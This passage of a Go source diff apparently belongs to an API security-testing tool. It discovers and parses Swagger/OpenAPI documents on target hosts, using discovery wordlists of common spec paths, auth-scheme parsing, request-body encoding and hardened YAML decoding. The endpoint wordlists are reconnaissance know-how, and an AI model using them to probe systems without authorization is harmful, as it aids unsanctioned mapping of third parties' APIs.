||||
// Resolution deliberately returns absolute URLs so the caller can enforce that a
|
||||
// reference stays on the run's own host. sj follows any absolute reference it
|
||||
// finds, which lets a page a target controls redirect the sweep onto a third
|
||||
// party — a scope escape, and one the operator never asked for.
|
||||
func ExtractSpecRefs(body []byte, pageURL string) []string {
|
||||
window := body
|
||||
if len(window) > 512<<10 {
|
||||
window = window[:512<<10]
|
||||
}
|
||||
text := string(window)
|
||||
|
||||
seen := map[string]bool{}
|
||||
var out []string
|
||||
add := func(ref string) {
|
||||
ref = strings.TrimSpace(ref)
|
||||
if !LooksLikeSpecReference(ref) {
|
||||
return
|
||||
}
|
||||
abs := resolveRefURL(pageURL, ref)
|
||||
if abs == "" || seen[abs] {
|
||||
return
|
||||
}
|
||||
seen[abs] = true
|
||||
out = append(out, abs)
|
||||
}
|
||||
|
||||
// Targeted patterns first, so a document the page names explicitly is
|
||||
// followed before anything merely URL-shaped.
|
||||
for _, re := range []*regexp.Regexp{specKeyRe, discoveryPathsRe, specAttrRe} {
|
||||
for _, m := range re.FindAllStringSubmatch(text, 64) {
|
||||
if len(m) > 1 {
|
||||
add(m[1])
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, m := range specTokenRe.FindAllStringSubmatch(text, 128) {
|
||||
if len(m) > 1 {
|
||||
add(m[1])
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// resolveRefURL resolves a possibly-relative reference against the page URL.
|
||||
func resolveRefURL(pageURL, ref string) string {
|
||||
base, err := url.Parse(pageURL)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
u, err := url.Parse(ref)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
resolved := base.ResolveReference(u)
|
||||
if resolved.Scheme != "http" && resolved.Scheme != "https" {
|
||||
return ""
|
||||
}
|
||||
resolved.Fragment = ""
|
||||
return resolved.String()
|
||||
}
|
||||
|
||||
// SameHost reports whether a discovered reference stays on the run's target.
|
||||
func SameHost(a, b string) bool {
|
||||
ua, err := url.Parse(a)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
ub, err := url.Parse(b)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.EqualFold(ua.Host, ub.Host)
|
||||
}
|
||||
|
||||
func urlPath(rawURL string) string {
|
||||
if u, err := url.Parse(rawURL); err == nil && u.Path != "" {
|
||||
return u.Path
|
||||
}
|
||||
if i := strings.IndexAny(rawURL, "?#"); i >= 0 {
|
||||
return rawURL[:i]
|
||||
}
|
||||
return rawURL
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package apispec
|
||||
|
||||
// Discovery wordlists, ported from sj's brute command.
|
||||
//
|
||||
// Go slices rather than an embedded file, following the repo's split: go:embed
|
||||
// carries third-party or built artifacts (html2canvas, the frontend bundle),
|
||||
// while our own data is a slice literal, as internal/shell's dictionary is.
|
||||
//
|
||||
// sj's lists contain a few duplicate entries; these are deduplicated, which is
|
||||
// worth doing because every duplicate is a wasted request against a live target.
|
||||
|
||||
// prefixDirs are directory prefixes crossed with each endpoint list.
|
||||
var prefixDirs = []string{
|
||||
"", "/swagger", "/swagger/docs", "/swagger/latest", "/swagger/v1",
|
||||
"/swagger/v2", "/swagger/v3", "/swagger/static", "/swagger/ui",
|
||||
"/swagger-ui", "/api-docs", "/api-docs/v1", "/api-docs/v2", "/apidocs",
|
||||
"/api", "/api/v1", "/api/v2", "/api/v3", "/v1", "/v2", "/v3", "/doc",
|
||||
"/docs", "/docs/swagger", "/docs/swagger/v1", "/docs/swagger/v2",
|
||||
"/docs/swagger-ui", "/docs/swagger-ui/v1", "/docs/swagger-ui/v2",
|
||||
"/docs/v1", "/docs/v2", "/docs/v3", "/public", "/redoc",
|
||||
}
|
||||
|
||||
// jsonEndpoints are document names tried under each prefix, with and without a suffix.
|
||||
var jsonEndpoints = []string{
|
||||
"", "/index", "/swagger", "/swagger-ui", "/swagger-resources",
|
||||
"/swagger-config", "/openapi", "/api", "/api-docs", "/apidocs", "/v1",
|
||||
"/v2", "/v3", "/doc", "/docs", "/apispec", "/apispec_1", "/api-merged",
|
||||
}
|
||||
|
||||
// javascriptEndpoints are Swagger UI bundles that may carry an embedded document or name one.
|
||||
var javascriptEndpoints = []string{
|
||||
"/swagger-ui-init", "/swagger-ui-bundle", "/swagger-ui-standalone-preset",
|
||||
"/swagger-ui", "/swagger-ui.min", "/swagger-ui-es-bundle-core",
|
||||
"/swagger-ui-es-bundle", "/swagger-ui-layout", "/swagger-ui-plugins",
|
||||
}
|
||||
|
||||
// htmlEndpoints are Swagger UI pages, which name the document they load.
|
||||
var htmlEndpoints = []string{
|
||||
"/index", "/swagger", "/swagger-ui", "/api-docs",
|
||||
}
|
||||
|
||||
// priorityURLs are full paths tried directly, without prefix crossing. The long tail is product-specific.
|
||||
var priorityURLs = []string{
|
||||
"/swagger.json", "/openapi.json", "/api-docs", "/swagger", "/docs",
|
||||
"/api/swagger.json", "/api/openapi.json", "/api-docs/swagger.json",
|
||||
"/api/schema/", "/webjars/swagger-ui/index.html", "/API/swagger/ui/index",
|
||||
"/swagger/ui/index", "/v2/swagger.json", "/v2/openapi.json", "/v2/api-docs",
|
||||
"/v3/api-docs", "/v3/openapi.json", "/public/api-merged.json",
|
||||
"/analytics/v1/swagger", "/api.json", "/api/4.0/swagger.json",
|
||||
"/api/api-doc/openapi.json", "/api/api-doc/openapi.yaml", "/api/doc.json",
|
||||
"/api/docs.json", "/api/swagger", "/api/swagger/ui/index",
|
||||
"/api/v1/swagger", "/api/v2/api-docs", "/api/v2/openapi.json",
|
||||
"/api/v2/swagger.json", "/api/v3/api-docs", "/api/v3/apispec",
|
||||
"/api/workorder/openapi.json", "/apidocs", "/audiences/v1/swagger",
|
||||
"/audittrail/v1/swagger", "/certification/v1/swagger",
|
||||
"/citrixapi/store/swagger.json", "/conferencetool/v1/swagger",
|
||||
"/course/v1/swagger", "/dcl_swagger.yaml", "/doc/doc.json",
|
||||
"/doc/swagger.json", "/docs/swagger.json", "/docs/v1/swagger.json",
|
||||
"/ecommerce/v1/swagger", "/enrollment/v1/swagger",
|
||||
"/externalids/v1/swagger", "/impact/v1/swagger", "/learn/v1/swagger",
|
||||
"/learningplan/v1/swagger", "/manage/v1/swagger", "/management/info",
|
||||
"/marketplace/v1/swagger", "/messenger/v1/swagger",
|
||||
"/notifications/v1/swagger", "/openapi", "/openapi/spec.json",
|
||||
"/otj/v1/swagger", "/pages/v1/swagger", "/poweruser/v1/swagger",
|
||||
"/proctoring/v1/swagger", "/report/v1/swagger", "/swagger-ui/index.html",
|
||||
"/swagger-ui/openapi.json", "/swagger.yaml", "/swagger/0.1.0/swagger.json",
|
||||
"/swagger/doc.json", "/swagger/latest/swagger.json",
|
||||
"/swagger/swagger.json", "/swagger/test/swagger.json",
|
||||
"/swagger/ui/index.html", "/swagger/v1/openapiv2.json",
|
||||
"/swagger/v1/swagger.json", "/swagger/v2/swagger.json",
|
||||
"/swagger/v4/swagger.json", "/v1/openapi.json", "/v1/swagger",
|
||||
"/v1/swagger.json", "/swagger/docs/v1", "/swagger/docs/v1.json",
|
||||
"/Api/swagger/docs/v1", "/api/api-docs/swagger.json", "/api/docs/",
|
||||
"/api/docs", "/swagger-ui",
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
package apispec
|
||||
|
||||
import "strings"
|
||||
|
||||
// parseAuthSchemes reads both spellings of the security-scheme map.
|
||||
//
|
||||
// OpenAPI 3 puts them under components.securitySchemes; Swagger 2 puts them at
|
||||
// the document root under securityDefinitions, with "basic" as a type rather
|
||||
// than as a scheme of type "http". sj reads only the OpenAPI 3 spelling, so a
|
||||
// Swagger 2 document — the format it was written to audit — yields no
|
||||
// authentication at all.
|
||||
func parseAuthSchemes(doc map[string]any, format Format) []AuthScheme {
|
||||
raw := map[string]any{}
|
||||
if format == FormatSwagger2 {
|
||||
if m, ok := doc["securityDefinitions"].(map[string]any); ok {
|
||||
raw = m
|
||||
}
|
||||
} else if components, ok := doc["components"].(map[string]any); ok {
|
||||
if m, ok := components["securitySchemes"].(map[string]any); ok {
|
||||
raw = m
|
||||
}
|
||||
}
|
||||
|
||||
out := make([]AuthScheme, 0, len(raw))
|
||||
for _, name := range sortedKeys(raw) {
|
||||
m, ok := raw[name].(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
out = append(out, authScheme(name, m))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func authScheme(name string, m map[string]any) AuthScheme {
|
||||
s := AuthScheme{
|
||||
Name: name,
|
||||
Scheme: strings.ToLower(stringMember(m, "scheme")),
|
||||
BearerFormat: stringMember(m, "bearerFormat"),
|
||||
Description: stringMember(m, "description"),
|
||||
Automatable: true,
|
||||
}
|
||||
|
||||
switch strings.ToLower(stringMember(m, "type")) {
|
||||
case "basic":
|
||||
// Swagger 2 spelling.
|
||||
s.Kind = AuthBasic
|
||||
case "http":
|
||||
switch s.Scheme {
|
||||
case "basic":
|
||||
s.Kind = AuthBasic
|
||||
case "bearer":
|
||||
s.Kind = AuthBearer
|
||||
default:
|
||||
s.Kind = AuthHTTPOther
|
||||
}
|
||||
case "apikey":
|
||||
s.Kind = AuthAPIKey
|
||||
s.ParamName = stringMember(m, "name")
|
||||
switch strings.ToLower(stringMember(m, "in")) {
|
||||
case "query":
|
||||
s.In = InQuery
|
||||
case "cookie":
|
||||
s.In = InCookie
|
||||
default:
|
||||
s.In = InHeader
|
||||
}
|
||||
// sj special-cases a scheme whose *key* is literally "bearer" into an
|
||||
// Authorization header. That is a guess about one document's naming, not
|
||||
// a property of the format: an apiKey scheme says exactly where its value
|
||||
// goes, and In/ParamName already carry it.
|
||||
case "oauth2":
|
||||
s.Kind = AuthOAuth2
|
||||
s.Automatable = false
|
||||
case "openidconnect":
|
||||
s.Kind = AuthOpenID
|
||||
s.Automatable = false
|
||||
case "mutualtls":
|
||||
s.Kind = AuthMutualTLS
|
||||
s.Automatable = false
|
||||
default:
|
||||
s.Kind = AuthHTTPOther
|
||||
s.Automatable = false
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// parseSecurity reads a security member: a list of alternatives, each naming
|
||||
// schemes that must all be satisfied.
|
||||
func parseSecurity(v any) []SecurityRequirement {
|
||||
items, ok := v.([]any)
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
out := make([]SecurityRequirement, 0, len(items))
|
||||
for _, item := range items {
|
||||
m, ok := item.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
req := SecurityRequirement{}
|
||||
for _, name := range sortedKeys(m) {
|
||||
req.Schemes = append(req.Schemes, name)
|
||||
if scopes := stringSlice(m[name]); len(scopes) > 0 {
|
||||
if req.Scopes == nil {
|
||||
req.Scopes = map[string][]string{}
|
||||
}
|
||||
req.Scopes[name] = scopes
|
||||
}
|
||||
}
|
||||
if len(req.Schemes) > 0 {
|
||||
out = append(out, req)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,242 @@
|
||||
package apispec
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"mime/multipart"
|
||||
"net/url"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// parseBodies reads an OpenAPI 3 requestBody into one Body per declared content
|
||||
// type, in sorted order.
|
||||
//
|
||||
// Every content type is kept. sj loops over them and lets the last one a map
|
||||
// iteration happened to yield win, so a document offering both JSON and
|
||||
// form-encoded produces a different request on different runs.
|
||||
func parseBodies(
|
||||
doc map[string]any, opMap map[string]any, pointer string,
|
||||
p Placeholders, op *Operation, diags *[]Diagnostic,
|
||||
) {
|
||||
reqBody, ok := opMap["requestBody"].(map[string]any)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
if ref, ok := reqBody["$ref"].(string); ok && ref != "" {
|
||||
if !strings.HasPrefix(ref, "#") {
|
||||
*diags = append(*diags, Diagnostic{
|
||||
Kind: DiagExternalRef, Ref: ref, Pointer: pointer + "/requestBody",
|
||||
Detail: "external references are not resolved; only local \"#/...\" pointers are",
|
||||
})
|
||||
return
|
||||
}
|
||||
target, found := resolvePointer(doc, ref)
|
||||
if !found {
|
||||
*diags = append(*diags, Diagnostic{Kind: DiagUnresolvedRef, Ref: ref, Pointer: pointer + "/requestBody"})
|
||||
return
|
||||
}
|
||||
reqBody = target
|
||||
}
|
||||
|
||||
// OR, not assign: a Swagger 2 "in: body" or "in: formData" parameter marked
|
||||
// required has already run by now, and a v3 requestBody that omits `required`
|
||||
// must not clobber it back to false.
|
||||
op.BodyRequired = op.BodyRequired || boolMember(reqBody, "required")
|
||||
|
||||
content, ok := reqBody["content"].(map[string]any)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
for _, ct := range sortedKeys(content) {
|
||||
entry, ok := content[ct].(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
schema, _ := entry["schema"].(map[string]any)
|
||||
node := newExpander(doc, diags).expand(schema, pointer+"/requestBody/content/"+escapePointer(ct))
|
||||
|
||||
// An explicit example on the media type beats anything synthesized from
|
||||
// the schema: it is the document telling you what a valid body is.
|
||||
if ex, ok := entry["example"]; ok && ex != nil {
|
||||
node = &schemaNode{Example: ex}
|
||||
}
|
||||
|
||||
body, err := encodeBody(ct, node, p)
|
||||
if err != nil {
|
||||
*diags = append(*diags, Diagnostic{
|
||||
Kind: DiagUnsupported, Ref: ct, Pointer: pointer + "/requestBody",
|
||||
Detail: err.Error(),
|
||||
})
|
||||
continue
|
||||
}
|
||||
op.Bodies = append(op.Bodies, body)
|
||||
}
|
||||
}
|
||||
|
||||
// encodeBody serializes a generated example into one media type's wire form.
|
||||
func encodeBody(contentType string, node *schemaNode, p Placeholders) (Body, error) {
|
||||
example := generateExample(node, p)
|
||||
base := mediaBase(contentType)
|
||||
|
||||
switch {
|
||||
case base == "application/json" || strings.HasSuffix(base, "+json"):
|
||||
raw, err := json.Marshal(example)
|
||||
if err != nil {
|
||||
return Body{}, fmt.Errorf("body could not be encoded as JSON: %w", err)
|
||||
}
|
||||
return Body{ContentType: contentType, Encoding: EncJSON, Content: raw, Fields: topLevelFields(example)}, nil
|
||||
|
||||
case base == "application/xml" || base == "text/xml" || strings.HasSuffix(base, "+xml"):
|
||||
var buf bytes.Buffer
|
||||
writeXML(&buf, "root", example, 0)
|
||||
return Body{ContentType: contentType, Encoding: EncXML, Content: buf.Bytes(), Fields: topLevelFields(example)}, nil
|
||||
|
||||
case base == "application/x-www-form-urlencoded":
|
||||
obj, ok := example.(map[string]any)
|
||||
if !ok {
|
||||
return Body{}, fmt.Errorf("form body requires an object schema")
|
||||
}
|
||||
values := url.Values{}
|
||||
for _, k := range sortedKeys(obj) {
|
||||
values.Set(k, scalarString(obj[k]))
|
||||
}
|
||||
return Body{
|
||||
ContentType: contentType, Encoding: EncForm,
|
||||
Content: []byte(values.Encode()), Fields: topLevelFields(example),
|
||||
}, nil
|
||||
|
||||
case base == "multipart/form-data":
|
||||
obj, ok := example.(map[string]any)
|
||||
if !ok {
|
||||
return Body{}, fmt.Errorf("multipart body requires an object schema")
|
||||
}
|
||||
var buf bytes.Buffer
|
||||
mw := multipart.NewWriter(&buf)
|
||||
for _, k := range sortedKeys(obj) {
|
||||
if err := mw.WriteField(k, scalarString(obj[k])); err != nil {
|
||||
return Body{}, fmt.Errorf("multipart body could not be encoded: %w", err)
|
||||
}
|
||||
}
|
||||
if err := mw.Close(); err != nil {
|
||||
return Body{}, fmt.Errorf("multipart body could not be closed: %w", err)
|
||||
}
|
||||
// The boundary is stored with the bytes it framed, and ContentType carries
|
||||
// it. sj serializes with one boundary and then regenerates the header from
|
||||
// a fresh writer, so the declared boundary does not frame the body.
|
||||
return Body{
|
||||
ContentType: mw.FormDataContentType(), Encoding: EncMultipart,
|
||||
Content: buf.Bytes(), Fields: topLevelFields(example), Boundary: mw.Boundary(),
|
||||
}, nil
|
||||
|
||||
case base == "application/octet-stream":
|
||||
return Body{ContentType: contentType, Encoding: EncRaw, Content: []byte(p.String)}, nil
|
||||
|
||||
case strings.HasPrefix(base, "text/"):
|
||||
return Body{ContentType: contentType, Encoding: EncRaw, Content: []byte(scalarString(example))}, nil
|
||||
}
|
||||
|
||||
// Unknown media type: send the JSON rendering rather than nothing, so the
|
||||
// operator has bytes to edit.
|
||||
raw, err := json.Marshal(example)
|
||||
if err != nil {
|
||||
return Body{}, fmt.Errorf("body could not be encoded for %q", contentType)
|
||||
}
|
||||
return Body{ContentType: contentType, Encoding: EncRaw, Content: raw}, nil
|
||||
}
|
||||
|
||||
func mediaBase(ct string) string {
|
||||
if i := strings.IndexByte(ct, ';'); i >= 0 {
|
||||
ct = ct[:i]
|
||||
}
|
||||
return strings.ToLower(strings.TrimSpace(ct))
|
||||
}
|
||||
|
||||
func topLevelFields(example any) []string {
|
||||
obj, ok := example.(map[string]any)
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
return sortedKeys(obj)
|
||||
}
|
||||
|
||||
// appendFormField folds a Swagger 2 "in: formData" parameter into the
|
||||
// operation's form body, creating it on first use.
|
||||
func appendFormField(op *Operation, name, value string, required bool) {
|
||||
for i := range op.Bodies {
|
||||
if op.Bodies[i].Encoding != EncForm {
|
||||
continue
|
||||
}
|
||||
values, err := url.ParseQuery(string(op.Bodies[i].Content))
|
||||
if err != nil {
|
||||
values = url.Values{}
|
||||
}
|
||||
values.Set(name, value)
|
||||
op.Bodies[i].Content = []byte(values.Encode())
|
||||
op.Bodies[i].Fields = append(op.Bodies[i].Fields, name)
|
||||
op.BodyRequired = op.BodyRequired || required
|
||||
return
|
||||
}
|
||||
values := url.Values{}
|
||||
values.Set(name, value)
|
||||
op.Bodies = append(op.Bodies, Body{
|
||||
ContentType: "application/x-www-form-urlencoded",
|
||||
Encoding: EncForm,
|
||||
Content: []byte(values.Encode()),
|
||||
Fields: []string{name},
|
||||
})
|
||||
op.BodyRequired = op.BodyRequired || required
|
||||
}
|
||||
|
||||
// writeXML renders a generated value as XML.
|
||||
//
|
||||
// Element names and text are escaped. sj's equivalent escapes neither and emits
|
||||
// no root element, so a generated value containing "<" produces a body that is
|
||||
// not XML at all — and here the value can come from a document the target
|
||||
// controls.
|
||||
func writeXML(buf *bytes.Buffer, name string, v any, depth int) {
|
||||
if depth > 32 {
|
||||
return
|
||||
}
|
||||
switch t := v.(type) {
|
||||
case map[string]any:
|
||||
buf.WriteString("<" + xmlName(name) + ">")
|
||||
for _, k := range sortedKeys(t) {
|
||||
writeXML(buf, k, t[k], depth+1)
|
||||
}
|
||||
buf.WriteString("</" + xmlName(name) + ">")
|
||||
case []any:
|
||||
for _, item := range t {
|
||||
writeXML(buf, name, item, depth+1)
|
||||
}
|
||||
default:
|
||||
buf.WriteString("<" + xmlName(name) + ">")
|
||||
buf.WriteString(escapeXMLText(scalarString(v)))
|
||||
buf.WriteString("</" + xmlName(name) + ">")
|
||||
}
|
||||
}
|
||||
|
||||
// xmlName reduces a property name to something that is a legal element name,
|
||||
// since the name comes from the document.
|
||||
func xmlName(name string) string {
|
||||
var b strings.Builder
|
||||
for i, r := range name {
|
||||
switch {
|
||||
case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r == '_':
|
||||
b.WriteRune(r)
|
||||
case (r >= '0' && r <= '9' || r == '-' || r == '.') && i > 0:
|
||||
b.WriteRune(r)
|
||||
default:
|
||||
b.WriteByte('_')
|
||||
}
|
||||
}
|
||||
if b.Len() == 0 {
|
||||
return "field"
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func escapeXMLText(s string) string {
|
||||
r := strings.NewReplacer("&", "&", "<", "<", ">", ">", `"`, """, "'", "'")
|
||||
return r.Replace(s)
|
||||
}
|
||||
@@ -0,0 +1,230 @@
|
||||
package apispec
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
// decodeDocument turns raw spec bytes into a generic document tree.
|
||||
//
|
||||
// # Three conditions hold this together; changing any one removes a protection
|
||||
//
|
||||
// First, JSON is decoded as JSON. If the first non-space byte is '{' this uses
|
||||
// encoding/json, which is stricter, faster, and structurally immune to alias
|
||||
// bombs because JSON has no aliases. Most real documents are JSON, so this takes
|
||||
// the whole billion-laughs class off the table for the common case.
|
||||
//
|
||||
// Second, YAML is decoded INTO A VALUE, never into a yaml.Node. yaml.v3's
|
||||
// billion-laughs guard lives in the decode path: it counts decodeCount and
|
||||
// aliasCount while unmarshalling into a value and rejects a document whose alias
|
||||
// ratio is too high for its size. A yaml.Node keeps aliases unexpanded, so
|
||||
// walking one yourself bypasses the guard entirely. "Let's decode into a Node so
|
||||
// diagnostics can carry line numbers" is the reasonable-looking change that
|
||||
// would silently remove it — take the line numbers from somewhere else.
|
||||
//
|
||||
// Third, the guard is a ratio and not a memory cap, so a large document can pass
|
||||
// it and still expand. countNodes bounds the decoded result afterwards.
|
||||
//
|
||||
// Two decode details beyond the guard. yaml.Unmarshal recovers only its own
|
||||
// error type, so anything else panics out into the caller — hence the recover,
|
||||
// which is load-bearing and not defensive habit. And duplicate mapping keys come
|
||||
// back as a *yaml.TypeError while still producing a usable document; real
|
||||
// documents have them, so they become diagnostics rather than a rejection.
|
||||
func decodeDocument(data []byte) (map[string]any, []Diagnostic, error) {
|
||||
if len(data) == 0 {
|
||||
return nil, nil, fmt.Errorf("document is empty")
|
||||
}
|
||||
if len(data) > MaxSpecBytes {
|
||||
return nil, nil, fmt.Errorf("document is %d bytes, over the %d-byte limit", len(data), MaxSpecBytes)
|
||||
}
|
||||
|
||||
trimmed := bytes.TrimLeft(data, " \t\r\n\uFEFF")
|
||||
if len(trimmed) == 0 {
|
||||
return nil, nil, fmt.Errorf("document is empty")
|
||||
}
|
||||
|
||||
var diags []Diagnostic
|
||||
|
||||
if trimmed[0] == '{' {
|
||||
var doc map[string]any
|
||||
if err := json.Unmarshal(trimmed, &doc); err == nil {
|
||||
if n := countNodes(doc, 0); n > MaxDocNodes {
|
||||
return nil, nil, fmt.Errorf("document expands to %d nodes, over the %d-node limit", n, MaxDocNodes)
|
||||
}
|
||||
return doc, diags, nil
|
||||
}
|
||||
// Fall through: a document that starts with '{' but is not valid JSON may
|
||||
// still be valid YAML flow mapping.
|
||||
}
|
||||
|
||||
doc, yamlDiags, err := decodeYAML(trimmed)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
diags = append(diags, yamlDiags...)
|
||||
|
||||
if n := countNodes(doc, 0); n > MaxDocNodes {
|
||||
return nil, nil, fmt.Errorf("document expands to %d nodes, over the %d-node limit", n, MaxDocNodes)
|
||||
}
|
||||
return doc, diags, nil
|
||||
}
|
||||
|
||||
// decodeYAML unmarshals into a value so yaml.v3's alias guard applies, and
|
||||
// converts a duplicate-key TypeError into diagnostics instead of an error.
|
||||
func decodeYAML(data []byte) (doc map[string]any, diags []Diagnostic, err error) {
|
||||
defer func() {
|
||||
// yaml.Unmarshal's own handleErr recovers only yamlError; a malformed
|
||||
// document can panic through it, and a panic here would take down the
|
||||
// whole process for one bad file fetched from a target.
|
||||
if r := recover(); r != nil {
|
||||
doc, diags, err = nil, nil, fmt.Errorf("document could not be parsed as YAML: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
var raw map[string]any
|
||||
uerr := yaml.Unmarshal(data, &raw)
|
||||
if uerr != nil {
|
||||
var typeErr *yaml.TypeError
|
||||
if !errors.As(uerr, &typeErr) {
|
||||
return nil, nil, fmt.Errorf("document could not be parsed: %w", uerr)
|
||||
}
|
||||
// A TypeError still yields a usable document. Every message becomes a
|
||||
// diagnostic; duplicate keys are common enough in hand-written specs that
|
||||
// rejecting the file over them would be useless strictness.
|
||||
for _, msg := range typeErr.Errors {
|
||||
kind := DiagMalformed
|
||||
if strings.Contains(msg, "already set in map") || strings.Contains(msg, "duplicate") {
|
||||
kind = DiagDuplicateKey
|
||||
}
|
||||
diags = append(diags, Diagnostic{Kind: kind, Detail: msg})
|
||||
}
|
||||
}
|
||||
if raw == nil {
|
||||
return nil, nil, fmt.Errorf("document did not decode to an object")
|
||||
}
|
||||
|
||||
// yaml.v3 decodes nested mappings as map[string]any when every key is a
|
||||
// string, but yields map[any]any otherwise. Normalize so the rest of the
|
||||
// package only ever sees one shape.
|
||||
normalized, ok := normalizeMaps(raw).(map[string]any)
|
||||
if !ok {
|
||||
return nil, nil, fmt.Errorf("document did not decode to an object")
|
||||
}
|
||||
return normalized, diags, nil
|
||||
}
|
||||
|
||||
// normalizeMaps rewrites map[any]any into map[string]any recursively, dropping
|
||||
// any key that is not representable as a string. A non-string key cannot be
|
||||
// addressed by a JSON pointer, so nothing downstream could reach it anyway.
|
||||
func normalizeMaps(v any) any {
|
||||
switch t := v.(type) {
|
||||
case map[string]any:
|
||||
out := make(map[string]any, len(t))
|
||||
for k, val := range t {
|
||||
out[k] = normalizeMaps(val)
|
||||
}
|
||||
return out
|
||||
case map[any]any:
|
||||
out := make(map[string]any, len(t))
|
||||
for k, val := range t {
|
||||
ks, ok := k.(string)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
out[ks] = normalizeMaps(val)
|
||||
}
|
||||
return out
|
||||
case []any:
|
||||
out := make([]any, len(t))
|
||||
for i, val := range t {
|
||||
out[i] = normalizeMaps(val)
|
||||
}
|
||||
return out
|
||||
default:
|
||||
return v
|
||||
}
|
||||
}
|
||||
|
||||
// countNodes bounds the decoded document. It stops early once the budget is
|
||||
// blown, so a document that did expand enormously is not walked in full.
|
||||
func countNodes(v any, depth int) int {
|
||||
if depth > 512 {
|
||||
return MaxDocNodes + 1
|
||||
}
|
||||
switch t := v.(type) {
|
||||
case map[string]any:
|
||||
n := 1
|
||||
for _, val := range t {
|
||||
n += countNodes(val, depth+1)
|
||||
if n > MaxDocNodes {
|
||||
return n
|
||||
}
|
||||
}
|
||||
return n
|
||||
case []any:
|
||||
n := 1
|
||||
for _, val := range t {
|
||||
n += countNodes(val, depth+1)
|
||||
if n > MaxDocNodes {
|
||||
return n
|
||||
}
|
||||
}
|
||||
return n
|
||||
default:
|
||||
return 1
|
||||
}
|
||||
}
|
||||
|
||||
// jsSpecAssignRe matches the "var spec = {...};" form a Swagger UI initializer
|
||||
// uses. Swagger UI bundles serve the document wrapped in JavaScript, and an
|
||||
// operator who found swagger-ui-init.js has found the document.
|
||||
var jsSpecAssignRe = regexp.MustCompile(`(?s)(?:let|const|var)\s+\w+\s*=\s*(\{.*?\})\s*;`)
|
||||
|
||||
// UnwrapJSSpec extracts an API document embedded in a JavaScript file, reporting
|
||||
// whether it found one. Input that is not JavaScript is returned unchanged, so
|
||||
// this is safe to call on every candidate.
|
||||
func UnwrapJSSpec(body []byte) ([]byte, bool) {
|
||||
for _, m := range jsSpecAssignRe.FindAllSubmatch(body, 16) {
|
||||
if len(m) < 2 {
|
||||
continue
|
||||
}
|
||||
candidate := m[1]
|
||||
if looksLikeSpecJSON(candidate) {
|
||||
return candidate, true
|
||||
}
|
||||
// swagger-ui-init.js nests the document under a wrapper key.
|
||||
var wrapper map[string]json.RawMessage
|
||||
if err := json.Unmarshal(candidate, &wrapper); err != nil {
|
||||
continue
|
||||
}
|
||||
for _, key := range []string{"swaggerDoc", "spec", "openapi", "swagger"} {
|
||||
if inner, ok := wrapper[key]; ok && looksLikeSpecJSON(inner) {
|
||||
return inner, true
|
||||
}
|
||||
}
|
||||
}
|
||||
return body, false
|
||||
}
|
||||
|
||||
// looksLikeSpecJSON reports whether bytes parse as an object carrying a version
|
||||
// token and a paths member.
|
||||
func looksLikeSpecJSON(b []byte) bool {
|
||||
var probe struct {
|
||||
Swagger string `json:"swagger"`
|
||||
OpenAPI string `json:"openapi"`
|
||||
Paths json.RawMessage `json:"paths"`
|
||||
}
|
||||
if err := json.Unmarshal(b, &probe); err != nil {
|
||||
return false
|
||||
}
|
||||
if len(probe.Paths) == 0 {
|
||||
return false
|
||||
}
|
||||
return strings.HasPrefix(probe.Swagger, "2") || strings.HasPrefix(probe.OpenAPI, "3")
|
||||
}
|
||||
@@ -0,0 +1,188 @@
|
||||
package apispec
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// generateExample produces a placeholder value for one schema.
|
||||
//
|
||||
// The precedence and the per-type values are sj's, so a Joro-generated request
|
||||
// and an sj-generated request for the same document agree: an explicit example
|
||||
// wins, then the first enum member, then the first oneOf/anyOf branch, then a
|
||||
// value chosen by type.
|
||||
//
|
||||
// The one addition is "default": a schema that declares one is telling you what
|
||||
// the server expects, which is strictly better than a synthesized string. sj
|
||||
// reads default only for Swagger 2 inline parameter types and ignores it inside
|
||||
// a schema.
|
||||
func generateExample(node *schemaNode, p Placeholders) any {
|
||||
if node == nil {
|
||||
return map[string]any{}
|
||||
}
|
||||
if node.Example != nil {
|
||||
return node.Example
|
||||
}
|
||||
if node.Default != nil {
|
||||
return node.Default
|
||||
}
|
||||
if len(node.Enum) > 0 {
|
||||
return node.Enum[0]
|
||||
}
|
||||
if len(node.OneOf) > 0 {
|
||||
return generateExample(node.OneOf[0], p)
|
||||
}
|
||||
if len(node.AnyOf) > 0 {
|
||||
return generateExample(node.AnyOf[0], p)
|
||||
}
|
||||
|
||||
switch node.Type {
|
||||
case "object", "":
|
||||
obj := map[string]any{}
|
||||
for _, name := range node.PropertyOrder {
|
||||
child := node.Properties[name]
|
||||
// The name heuristic applies only where the property actually holds a
|
||||
// scalar string. sj applies it to the property name before looking at
|
||||
